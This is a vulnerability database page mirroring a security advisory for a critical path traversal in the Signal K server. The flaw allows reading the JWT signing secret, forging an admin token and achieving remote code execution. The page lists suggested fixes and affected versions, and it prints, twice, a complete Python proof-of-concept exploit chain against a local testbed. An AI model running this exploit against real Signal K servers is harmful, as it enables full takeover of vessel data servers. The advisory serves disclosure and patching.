GHSA-4XM8-RG9H-JHQ2

Vulnerability from github – Published: 2026-10-30 22:57 – Updated: 2026-11-09 20:39
VLAI
Summary
Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution
Details

Summary

Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading /security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.

Details

Description

The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).

Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:

  1. Read <config>/security.json — disclosing the JWT signing secret (512-hex) and user password hashes.
  2. Forge an admin JWT — HS256-sign {"id":"admin"} with the disclosed secret; accepted by /skServer/loginStatus (userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware, src/tokensecurity.ts:593, applied at src/tokensecurity.ts:953).
  3. Gain remote code execution — POST /skServer/providers (admin) accepts a provider of type Execute; packages/streams/src/execute.ts:93 executes it via spawn('sh', ['-c', command]) at creation time. The provider persists to settings.json and survives restarts.

On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.

Suggested fixes

  1. Validate resourceId against a strict whitelist (for example, UUID format) in src/api/resources/index.ts before any storage call, including PUT/DELETE.
  2. In FileStore.getResource/setResource/deleteResource, canonicalise with path.resolve() and reject results outside this.resources[type].path.
  3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
  4. Consider gating provider types that execute commands (Execute) behind an explicit opt-in.

Proof of concept

Fully local testbed. Start the server, enable allow_readonly=true, then run:

#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD  = "id > /tmp/sk-pwned"

# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]

# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"

# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
        "options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
                             headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read())    # provider created; /tmp/sk-pwned now exists

Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.

Impact

Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "signalk-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.34.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@signalk/resources-provider"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-123807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-30T22:57:22Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nPath traversal in the Signal K resources and applicationData APIs lets an\nunauthenticated or low-privileged user read, write and delete files outside\nthe storage root. Reading \u003cconfig\u003e/security.json discloses the JWT signing\nsecret, enabling admin token forgery and remote code execution. \n\n### Details\n\n## Description\n\nThe v2 REST resources API `GET /signalk/v2/api/resources/:resourceType/:resourceId` passes `resourceId` to `FileStore.getResource()` without validation. `getResource()` builds the file path with `path.join(this.resources[type].path, itemUuid)` followed by `readFile` + `JSON.parse`, so a `%2F`-encoded multi-level traversal (`..%2F..%2F..%2F..%2F`) escapes the resource storage directory and returns any JSON file on the server (source: `src/api/resources/index.ts:559-600`, `packages/resources-provider-plugin/src/filestorage.ts:115-125`).\n\nBecause the JWT signing secret is stored in plaintext in `\u003cconfig\u003e/security.json` (generated at `src/tokensecurity.ts:271`, persisted via `saveSecurityConfig` at `src/security.ts:377`), an unauthenticated attacker on deployments with `allow_readonly=true` (a supported, UI-toggleable configuration granting anonymous read access) can:\n\n1. **Read `\u003cconfig\u003e/security.json`** \u2014 disclosing the JWT signing secret (512-hex) and user password hashes.\n2. **Forge an admin JWT** \u2014 HS256-sign `{\"id\":\"admin\"}` with the disclosed secret; accepted by `/skServer/loginStatus` (`userLevel: \"admin\"`) and all admin-protected endpoints (`adminAuthenticationMiddleware`, `src/tokensecurity.ts:593`, applied at `src/tokensecurity.ts:953`).\n3. **Gain remote code execution** \u2014 `POST /skServer/providers` (admin) accepts a provider of type `Execute`; `packages/streams/src/execute.ts:93` executes it via `spawn(\u0027sh\u0027, [\u0027-c\u0027, command])` at creation time. The provider persists to `settings.json` and survives restarts.\n\nOn default deployments (`allow_readonly=false`), step 1 returns 401 to anonymous users but succeeds with any readonly user token.\n\n## Suggested fixes\n\n1. Validate `resourceId` against a strict whitelist (for example, UUID format) in `src/api/resources/index.ts` before any storage call, including PUT/DELETE.\n2. In `FileStore.getResource/setResource/deleteResource`, canonicalise with `path.resolve()` and reject results outside `this.resources[type].path`.\n3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.\n4. Consider gating provider types that execute commands (`Execute`) behind an explicit opt-in.\n\n### Proof of concept\n\nFully local testbed. Start the server, enable `allow_readonly=true`, then run:\n\n```python\n#!/usr/bin/env python3\nimport base64, hashlib, hmac, json, time, urllib.request\nBASE = \"http://127.0.0.1:3000\"\nCMD  = \"id \u003e /tmp/sk-pwned\"\n\n# 1) unauthenticated traversal read of security.json\np = \"/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json\"\nsk = json.load(urllib.request.urlopen(BASE + p))[\"secretKey\"]\n\n# 2) forge admin JWT\nb64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nh = b64(json.dumps({\"alg\":\"HS256\",\"typ\":\"JWT\"}).encode())\nc = b64(json.dumps({\"id\":\"admin\",\"iat\":int(time.time())}).encode())\ntok = h+\".\"+c+\".\"+b64(hmac.new(sk.encode(), (h+\".\"+c).encode(), hashlib.sha256).digest())\nreq = urllib.request.Request(BASE+\"/skServer/loginStatus\", headers={\"Authorization\":\"JWT \"+tok})\nassert json.load(urllib.request.urlopen(req))[\"userLevel\"] == \"admin\"\n\n# 3) add an Execute provider -\u003e spawn(\u0027sh\u0027,\u0027-c\u0027,CMD)\nprov = {\"id\":\"poc-rce\",\"enabled\":True,\"logging\":False,\"type\":\"Execute\",\n        \"options\":{\"type\":\"ws\",\"dataType\":\"SignalK\",\"command\":CMD}}\nreq = urllib.request.Request(BASE+\"/skServer/providers\", data=json.dumps(prov).encode(),\n                             headers={\"Authorization\":\"JWT \"+tok,\"Content-Type\":\"application/json\"}, method=\"POST\")\nprint(urllib.request.urlopen(req).read())    # provider created; /tmp/sk-pwned now exists\n```\n\nReproduction verified independently on master `340d5bb6` (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.\n\n### Impact\n\nUnauthenticated access (with `allow_readonly=true`) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix",
  "id": "GHSA-4xm8-rg9h-jhq2",
  "modified": "2026-11-09T20:39:56Z",
  "published": "2026-10-30T22:57:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-4xm8-rg9h-jhq2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SignalK/signalk-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SignalK/signalk-server/releases/tag/v2.34.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.